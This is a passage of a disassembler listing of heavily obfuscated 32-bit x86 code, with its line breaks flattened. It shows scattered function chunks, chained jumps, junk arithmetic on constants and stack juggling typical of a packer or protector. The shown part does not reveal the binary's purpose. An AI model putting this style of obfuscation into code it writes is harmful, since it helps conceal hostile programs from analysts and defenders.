sub_59F02F-2CBCj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005A8D76 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 005AD1BB SIZE 0000001E BYTES sub esp, 4 jmp loc_5AD1BB sub_5A2789 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5A2794: ; CODE XREF: sub_5A477C+A46Dj shl edx, 3 jnz loc_5AE326 not edx push ecx mov ecx, 528B3E33h mov dh, ah loc_5A27A7: ; CODE XREF: sub_59CDA4+Bj jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9D64 loc_5A27AC: ; CODE XREF: sub_5A9D64-809j pop ebp push 5428h mov [esp+0], ebx push 8F0h mov [esp+4+var_4], edi sub esp, 4 mov [esp+8+var_8], ebp mov ebp, 183F196Ch xor ebp, 24526CEDh shr ebp, 1 jns loc_5AC6FF xor ebp, 6F834164h jmp loc_5ABC03 ; END OF FUNCTION CHUNK FOR sub_5A9D64 ; --------------------------------------------------------------------------- mov al, bl pop esi loc_5A27E4: ; CODE XREF: sdfs____:005A87DAj push esi mov esi, 1 add ecx, esi pop esi shl ecx, 8 add ecx, 1BB00E04h sub edx, 92B036Eh add edx, ecx jmp loc_59D32B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB207 loc_5A2803: ; CODE XREF: sub_5AB207-B6ADj pop ecx pop ecx jmp loc_59CE05 ; END OF FUNCTION CHUNK FOR sub_5AB207 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A280A: ; CODE XREF: sub_5AA2D1-6A98j or esi, 110E1BBAh add esi, 3EC65C16h ja loc_5AB212 xor esi, 73E5BC15h mov ebp, esi mov edx, ebx mov dh, 0F8h loc_5A2828: ; CODE XREF: sdfs____:005AB943j dec esi xor esi, 20165A32h shl esi, 7 sub esi, 58BD0F95h or esi, 740F185Ch jmp loc_5A64BE ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5607 loc_5A2843: ; CODE XREF: sub_5A5607-794Cj add edx, eax push edi mov edi, 6E424F50h add edi, 0BD71D083h sub edx, edi jmp loc_5A2D2E ; END OF FUNCTION CHUNK FOR sub_5A5607 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A2858: ; CODE XREF: sub_59D6B8+10372j push edi push 5BD12795h pop edi and edi, 3F165F51h jns loc_5998E4 inc edi jmp loc_5AE9D3 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- sub al, ch push dword ptr [esp] mov al, ah ; START OF FUNCTION CHUNK FOR sub_5A405F loc_5A2878: ; CODE XREF: sub_5A405F-AC57j pop esi add ebx, 7B127BE2h add ebx, esi jmp sub_5A18F6 ; END OF FUNCTION CHUNK FOR sub_5A405F ; --------------------------------------------------------------------------- loc_5A2886: ; CODE XREF: sdfs____:005A6E4Cj pop esi add ebx, eax mov eax, [esp] add esp, 4 add ebx, 2 xchg ebx, [esp] pop esp btr [esp], ax pushf jmp loc_59EFC7 ; --------------------------------------------------------------------------- loc_5A28A4: ; CODE XREF: sdfs____:005AD8F6j mov [esp], edi push esp pop edi push esi mov esi, 4 add edi, esi mov esi, [esp] add esp, 4 push ebx jmp loc_5ABC1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5A28BD: ; CODE XREF: sub_5A0FFF+5BF7j ; sub_59EE3E:loc_5A8766j mov dl, 3Ah mov cl, dl pop edx jmp loc_5A0EE4 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC803 loc_5A28C7: ; CODE XREF: sub_5AC803-2304j not esi jmp loc_5A4175 ; END OF FUNCTION CHUNK FOR sub_5AC803 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5A28CE: ; CODE XREF: sub_5A6BBC-7542j inc bh jmp loc_5AE754 ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A28D5: ; CODE XREF: sub_5AA2D1-C21Aj ; sub_5A2E41-38ACj ... mov [esp-1Ch+arg_18], edx jmp loc_59AD70 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_5A28DD: ; CODE XREF: sub_5A2E28-31ADj xchg eax, ecx jmp loc_5A293F ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5A28E3 proc near ; CODE XREF: sub_5AA2D1-B5BEj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005A4096 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005AA7A9 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 005AFC57 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005B0436 SIZE 00000011 BYTES push ebp mov ebp, esp add ebp, 4 jmp loc_5B0436 sub_5A28E3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5996E4 loc_5A28F1: ; CODE XREF: sub_5996E4+603Cj pop ecx jmp loc_599D9C ; END OF FUNCTION CHUNK FOR sub_5996E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF2D9 loc_5A28F7: ; CODE XREF: sub_5AF2D9-5774j xor ebx, 394A7C89h add ebx, 64F2793h mov esi, ebx push dword ptr [esp+0] jmp loc_5AB73A ; END OF FUNCTION CHUNK FOR sub_5AF2D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A290D: ; CODE XREF: sub_59D6B8+175Dj push [esp+4+var_4] jmp loc_5AD535 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A8E3E loc_5A2915: ; CODE XREF: sub_5B01F7-1493Aj ; sub_5A8E3E-31AFj not edi jmp loc_5AEDD2 ; END OF FUNCTION CHUNK FOR sub_5A8E3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_5A291C: ; CODE XREF: sub_5B01F7-797Cj push 6913h mov [esp+1Ch+var_1C], ecx mov ecx, 16A42A5h xor ecx, 0B6A6C20Eh sub eax, ecx pop ecx jmp loc_59FF86 ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD795 loc_5A2937: ; CODE XREF: sub_5AD795-1265Cj shl cl, 4 jmp loc_59E621 ; END OF FUNCTION CHUNK FOR sub_5AD795 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_5A293F: ; CODE XREF: sub_5A2E28-54Aj dec ecx jmp loc_5A767E ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3992 loc_5A2945: ; CODE XREF: sub_5A3992-5A1Aj add eax, 477312FEh jmp loc_59F23A ; END OF FUNCTION CHUNK FOR sub_5A3992 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AEC1C loc_5A294F: ; CODE XREF: sub_5AEC1C-55B2j xor ch, dh pop edx jmp loc_5A0522 ; END OF FUNCTION CHUNK FOR sub_5AEC1C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A2957: ; CODE XREF: sub_59C979+11ECj sub [esp-12h+arg_E], 58F1001Ah pop ecx push 3DD8h jmp loc_59CFF4 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A2969: ; CODE XREF: sub_5AA2D1-A0DAj add ebp, ebx pop ebx sub ebp, 4DE77AEAh xor ebp, 0FEB9559Bh add ecx, 561223B7h push ebp jmp loc_5AF57D ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A522E loc_5A2984: ; CODE XREF: sub_5A522E-AA4Cj sub ebx, 9D67BFC9h add eax, ebx jmp loc_5AEE62 ; END OF FUNCTION CHUNK FOR sub_5A522E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A2991: ; CODE XREF: sub_5AA2D1:loc_5B001Cj sub ebp, 2E5A8366h add eax, 68D32169h sub eax, 0AB9050Dh push edx mov edx, 62BC46B1h inc edx jmp loc_5AFDE2 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A29AD: ; CODE XREF: sub_59D6B8+E48Dj jmp loc_5A0785 ; --------------------------------------------------------------------------- loc_5A29B2: ; CODE XREF: sub_59D6B8+7663j add ecx, 4 jmp loc_5A6D68 ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF3AA loc_5A29BD: ; CODE XREF: sub_5AF3AA-10E42j not ebx push edx jmp loc_5AF6F8 ; END OF FUNCTION CHUNK FOR sub_5AF3AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5A29C5: ; CODE XREF: sub_59EE3E+C069j jnz loc_5A23A6 xor esi, 98F45A2Dh xor ebx, esi pop esi push esi xor al, 86h pop ebp ; END OF FUNCTION CHUNK FOR sub_59EE3E ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A29D8: ; CODE XREF: sub_5ABE0D-26BAj ; sub_5AA2D1+1086j push 2E632C8Ch mov esi, [esp+10h+var_10] push ebx jmp loc_5A764C ; --------------------------------------------------------------------------- loc_5A29E6: ; CODE XREF: sub_5AA2D1-D00Aj push [esp-14h+arg_10] push [esp-10h+arg_C] mov edx, [esp-0Ch+arg_8] add esp, 4 add esp, 4 add esp, 4 add esp, 4 push small 531Dh jmp loc_5AD0E3 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0AA2 loc_5A2A10: ; CODE XREF: sub_5A0AA2+BA59j jmp loc_5A221A ; END OF FUNCTION CHUNK FOR sub_5A0AA2 ; =============== S U B R O U T I N E ======================================= sub_5A2A15 proc near ; CODE XREF: sub_59BB19+16j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00599AA1 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0059A607 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A4AEC SIZE 0000000F BYTES ; FUNCTION CHUNK AT 005A6A5D SIZE 00000005 BYTES push ebp push esp pop ebp add ebp, 4 push edi mov edi, 4 add ebp, edi mov edi, [esp+8+var_8] jmp loc_599AA1 sub_5A2A15 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A79BE loc_5A2A2E: ; CODE XREF: sub_5A79BE-96D1j ; sub_5A5EFF:loc_59E61Cj neg edi jbe loc_5AA53A jmp loc_5A998F ; END OF FUNCTION CHUNK FOR sub_5A79BE ; --------------------------------------------------------------------------- mov ebx, esp push edx jmp loc_5AE665 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_5A2A43: ; CODE XREF: sub_5A6BBC-AD7Dj mov eax, [esp+8+var_8] jmp loc_5ABCB5 ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F02F loc_5A2A4B: ; CODE XREF: sub_59F02F-49Dj add eax, ebx jmp loc_5AA547 ; END OF FUNCTION CHUNK FOR sub_59F02F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D4FD loc_5A2A52: ; CODE XREF: sub_59D4FD-F8Fj pop esi add edi, 21C271Eh push esi mov esi, 357B1DB2h add edi, esi pop esi neg edi and edi, 7DDB03CEh xor edi, 22412243h xor edx, edi pop edi or edx, 4CEF03D9h ja loc_59B8C8 and edx, 4F797F8Eh mov eax, ebp and al, 85h ; END OF FUNCTION CHUNK FOR sub_59D4FD ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A2A89: ; CODE XREF: sub_5992DA+D9EAj push edx mov edx, 57E477B8h jmp loc_59D66A ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A2A94: ; CODE XREF: sub_5AA2D1+28E1j mov [esp-1Ah+arg_14+2], ecx mov ecx, 352F1962h mov ebx, ecx push [esp-1Ah+arg_14+2] pop ecx add esp, 4 neg ebx jp loc_5A37C9 jmp loc_5A5520 ; --------------------------------------------------------------------------- loc_5A2AB2: ; CODE XREF: sub_5AA2D1+3E07j xor bh, dl pop edx and bh, 0D5h push dx push ecx mov cl, 49h mov dh, cl pop ecx sub bh, dh jmp loc_5A0B3A ; --------------------------------------------------------------------------- loc_5A2AC7: ; CODE XREF: sub_5AA2D1-7F9Aj mov esi, esp jmp sub_5A3BFE ; --------------------------------------------------------------------------- loc_5A2ACE: ; CODE XREF: sub_5AA2D1+13AFj shl eax, 8 push edi mov edi, 18C46D9Fh add eax, edi pop edi add eax, 46C39ACEh add ebx, eax pop eax add ebx, eax push eax jmp loc_5ADCA5 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A9E9 loc_5A2AEA: ; CODE XREF: sub_5A477C-6C7Dj ; sub_59A9E9+69D1j pop edx sub esp, 4 mov [esp+14h+var_14], ebx mov ebx, 0FFFFFFFFh add esi, ebx pop ebx jmp loc_59DBC0 ; END OF FUNCTION CHUNK FOR sub_59A9E9 ; =============== S U B R O U T I N E ======================================= sub_5A2AFE proc near ; DATA XREF: sdfs____:00599000o var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005A21C0 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005A7AEB SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A826D SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005AC932 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 005AD8CC SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005ADA05 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005AF6B7 SIZE 0000000B BYTES mov cx, [esp+0] jmp loc_5AC932 sub_5A2AFE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A913B loc_5A2B07: ; CODE XREF: sub_5A913B-6E1Cj movzx eax, al lea eax, [edi+eax*4] push 6635h mov [esp-16h+arg_12], eax jmp loc_599D43 ; END OF FUNCTION CHUNK FOR sub_5A913B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A2B1A: ; CODE XREF: sub_5992DA+106D6j pop esp add esp, 4 add eax, 33B36084h push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp+0] pop esp jmp loc_5A3EB5 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A2B3B: ; CODE XREF: sub_5AA2D1+852j push 0DBAh jmp loc_59F14B ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0924 loc_5A2B45: ; CODE XREF: sub_5A0924-6580j pop esi neg eax dec eax add eax, 1 jmp loc_59A615 ; END OF FUNCTION CHUNK FOR sub_5A0924 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599D0E loc_5A2B53: ; CODE XREF: sub_599D0E+5655j not cl add cl, 0D3h jmp loc_59E08E ; END OF FUNCTION CHUNK FOR sub_599D0E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA52F loc_5A2B5D: ; CODE XREF: sub_5AA52F-157Fj mov dl, cl pop ecx xor dl, 70h sub al, 16h push dx mov dh, 37h add al, dh mov dx, [esp+6+var_6] add esp, 2 add al, dl push ecx push ebx jmp loc_5AE0B4 ; END OF FUNCTION CHUNK FOR sub_5AA52F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD795 loc_5A2B7B: ; CODE XREF: sub_5AD795+668j mov eax, 3CA6B51h mov ebp, 3574F724h add ebp, 24100E61h add ebp, eax push ecx mov ecx, 50632ED9h jmp loc_5AAD49 ; END OF FUNCTION CHUNK FOR sub_5AD795 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5A2B98: ; CODE XREF: sub_59EE3E+76C6j pop ebx mov edx, [esp-4+arg_0] push edi mov edi, esp add edi, 4 jmp loc_59A6B6 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- loc_5A2BAA: ; CODE XREF: sdfs____:005AA23Dj mov esi, [esp] add esp, 4 add esp, 4 push ebx jmp loc_5AE80E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A913B loc_5A2BBC: ; CODE XREF: sub_5A913B-CC1Bj mov esi, ecx mov edi, esi pop esi pop ecx mov ecx, 2C9B75E4h jmp loc_5A5EC9 ; END OF FUNCTION CHUNK FOR sub_5A913B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ABFD8 loc_5A2BCC: ; CODE XREF: sub_5ABFD8-FCB8j pop esp mov [esp+0], esi push [esp+arg_0] push [esp+4+var_4] pop esi jmp loc_59C46F ; END OF FUNCTION CHUNK FOR sub_5ABFD8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5A2BDD: ; CODE XREF: sub_5A477C-B570j ; sub_5A75B9-748Ej sub ebx, 65213C2Eh mov eax, [esp+0] add esp, 4 push ebp mov ebp, 0F7A270Fh jmp loc_5ABE89 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F02F loc_5A2BF7: ; CODE XREF: sub_59F02F+43EBj inc edi or edi, 4E895F4Fh or edi, 34232EC6h inc edi xor edi, 70FF0974h add edi, 0F0FF7690h add ecx, edi pop edi push 5463h jmp loc_5A2D3F ; END OF FUNCTION CHUNK FOR sub_59F02F ; --------------------------------------------------------------------------- loc_5A2C1E: ; CODE XREF: sdfs____:005AF67Fj add esi, 4 add esi, 4 push esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] pop esp push ebx mov ebx, 44671C1Eh not ebx push esi jmp loc_5AFEC0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA5F6 loc_5A2C47: ; CODE XREF: sub_5AA5F6-545Bj xor al, 5Dh xor bl, al pop eax mov cl, bl pop ebx jmp loc_599E63 ; END OF FUNCTION CHUNK FOR sub_5AA5F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A8101 loc_5A2C54: ; CODE XREF: sub_5A8101+Cj push esp pop edx add edx, 4 sub esp, 4 jmp loc_5AD667 ; END OF FUNCTION CHUNK FOR sub_5A8101 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A21A4 loc_5A2C67: ; CODE XREF: sub_5B01F7-1434Bj ; sub_5A21A4+17j pop ebp jmp loc_59AFCB ; END OF FUNCTION CHUNK FOR sub_5A21A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A2C6D: ; CODE XREF: sub_5992DA+F29Fj shl esi, 5 dec esi xor esi, 7C65D4DEh and eax, esi jmp loc_59FB43 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADD13 loc_5A2C7E: ; CODE XREF: sub_5ADD13-1491Cj pop ebp push edx mov edx, 656B7F31h jmp loc_59B0C2 ; END OF FUNCTION CHUNK FOR sub_5ADD13 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ABEF6 loc_5A2C8A: ; CODE XREF: sub_5ABEF6-7E30j mov ecx, 54323BB1h add ebp, ecx pop ecx jmp loc_5AEB63 ; END OF FUNCTION CHUNK FOR sub_5ABEF6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A477C loc_5A2C97: ; CODE XREF: sub_5A477C-7F78j mov edx, esp add edx, 4 push ecx mov ecx, 4 push ecx mov ecx, 6C3609FDh jmp loc_5AE507 ; END OF FUNCTION CHUNK FOR sub_5A477C ; --------------------------------------------------------------------------- loc_5A2CB0: ; CODE XREF: sdfs____:0059DC48j mov ebx, esp jmp loc_59A038 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_5A2CB7: ; CODE XREF: sub_59D6B8+FFC4j push esi mov esi, 748F1676h dec esi dec esi sub esi, 41A7DBDCh add edi, esi pop esi add ebx, edi mov edi, [esp+8+var_8] add esp, 4 add ebx, 45A25DB3h pop edx jmp sub_5AF5FF ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A2CDC: ; CODE XREF: sub_5AA2D1+4D48j push esi push [esp+18h+var_14] pop esi pop [esp+18h+var_1A+2] pop esp push ecx jmp loc_59F179 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A633D loc_5A2CEC: ; CODE XREF: sub_5A633D+8AC6j mov ecx, 244C18FFh add ecx, 209371C0h shl ecx, 7 jmp loc_59B4B7 ; END OF FUNCTION CHUNK FOR sub_5A633D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59EE3E loc_5A2CFF: ; CODE XREF: sub_59EE3E+18BDj mov edi, ecx jmp loc_5ACCC8 ; END OF FUNCTION CHUNK FOR sub_59EE3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9D64 loc_5A2D06: ; CODE XREF: sub_5A9D64:loc_5A0CA3j xor ebp, 6825CAA5h push ebp pop edi pop ebp mov ebx, 5A32FED1h jmp loc_59A0E1 ; END OF FUNCTION CHUNK FOR sub_5A9D64 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4E04 loc_5A2D19: ; CODE XREF: sub_5A4E04-12CBj neg esi jmp loc_5A05A7 ; END OF FUNCTION CHUNK FOR sub_5A4E04 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_5A2D20 proc near ; CODE XREF: sub_5A4E04+1B8Dj ; sub_59F02F+9575j arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 005A00C7 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005AABA9 SIZE 00000005 BYTES push ebp mov ebp, esp add ebp, 4 jmp loc_5A00C7 sub_5A2D20 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5607 loc_5A2D2E: ; CODE XREF: sub_5A5607-2DB4j pop edi jmp loc_5A03D9 ; END OF FUNCTION CHUNK FOR sub_5A5607 ; --------------------------------------------------------------------------- loc_5A2D34: ; CODE XREF: sdfs____:005A6971j add esi, 656B390Bh jmp loc_59D3C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F02F loc_5A2D3F: ; CODE XREF: sub_59F02F+3BEAj mov [esp+10h+var_10], ebx mov ebx, 4 add ecx, ebx push [esp+10h+var_10] jmp loc_5A85A0 ; END OF FUNCTION CHUNK FOR sub_59F02F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A2D51: ; CODE XREF: sub_5AA2D1-9792j and bh, 3Fh ja loc_5A3FFE add bh, 0D7h jo loc_59C3EC jmp loc_5A9EEA ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD6D4 loc_5A2D68: ; CODE XREF: sub_5AD6D4-2D8Ej neg edi sub edi, 516308D1h shl edi, 8 sub edi, 71EE256Fh sub edi, 545071F6h xor ebp, edi pop edi xor edi, ebp mov ebp, [esp+0Ch+var_C] add esp, 4 push esi jmp loc_59E5CB ; END OF FUNCTION CHUNK FOR sub_5AD6D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD795 loc_5A2D90: ; CODE XREF: sub_5AD795-1027Bj mov bh, 0E2h add bh, 0FFh push ecx mov cl, 24h jmp loc_5AA683 ; END OF FUNCTION CHUNK FOR sub_5AD795 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D18A loc_5A2D9D: ; CODE XREF: sub_59D18A+BB00j add edx, 4 xchg edx, [esp+18h+var_18] jmp loc_5A40BB ; END OF FUNCTION CHUNK FOR sub_59D18A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AC803 loc_5A2DAB: ; CODE XREF: sub_5AC803-3886j push edi mov edi, 5B00E4Eh dec edi neg edi add edi, 2AAF2CC2h add edx, 65A05929h add edx, 50132987h sub edx, edi sub edx, 50132987h sub edx, 65A05929h pop edi sub edx, 1 add edx, 749F7074h jmp loc_59E1E4 ; END OF FUNCTION CHUNK FOR sub_5AC803 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_5A2DE3: ; CODE XREF: sub_59C979+59B1j or edx, 2B3715D3h add edx, 0A843696Ah mov ebp, edx pop edx push ecx mov ecx, 58050768h not ecx add ecx, 0FFFFFFFFh not ecx jmp loc_59E9C8 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A2E04: ; CODE XREF: sub_5AA2D1-936Cj sub ebx, 0FACFB226h push ebx dec [esp+10h+var_10] jmp loc_5A0AFE ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_5A2E13: ; CODE XREF: sub_5992DA+EC6Dj mov [esp+30h+var_32+2], ebp jmp loc_5A77F3 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_5A2E1B: ; CODE XREF: sub_5AA2D1-DB28j mov bh, 1Eh add bh, 39h xor bh, 0 jmp loc_5AB322 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; =============== S U B R O U T I N E ======================================= sub_5A2E28 proc near ; CODE XREF: sub_5A0278-1CB2j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h ; FUNCTION CHUNK AT 0059914E SIZE 0000004F BYTES ; FUNCTION CHUNK AT 00599B66 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00599D4F SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0059A328 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059ABB6 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0059AC64 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0059ACD9 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0059AD98 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0059B165 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0059B316 SIZE 0000004F BYTES ; FUNCTION CHUNK AT 0059B660 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0059BAE5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0059BBB0 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0059CAD2 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0059D237 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0059D3FB SIZE 00000026 BYTES ; FUNCTION CHUNK AT 0059D84F SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0059D87B SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0059E199 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0059EAD9 SIZE 0000002F BYTES ; FUNCTION CHUNK AT 0059F045 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0059F094 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0059F206 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0059FAA7 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0059FC77 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005A1304 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 005A139A SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A24E7 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A2531 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005A28DD SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A293F SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A2FCE SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005A383E SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005A5EDE SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005A6085 SIZE 00000006 BYTES ; FUNCTION 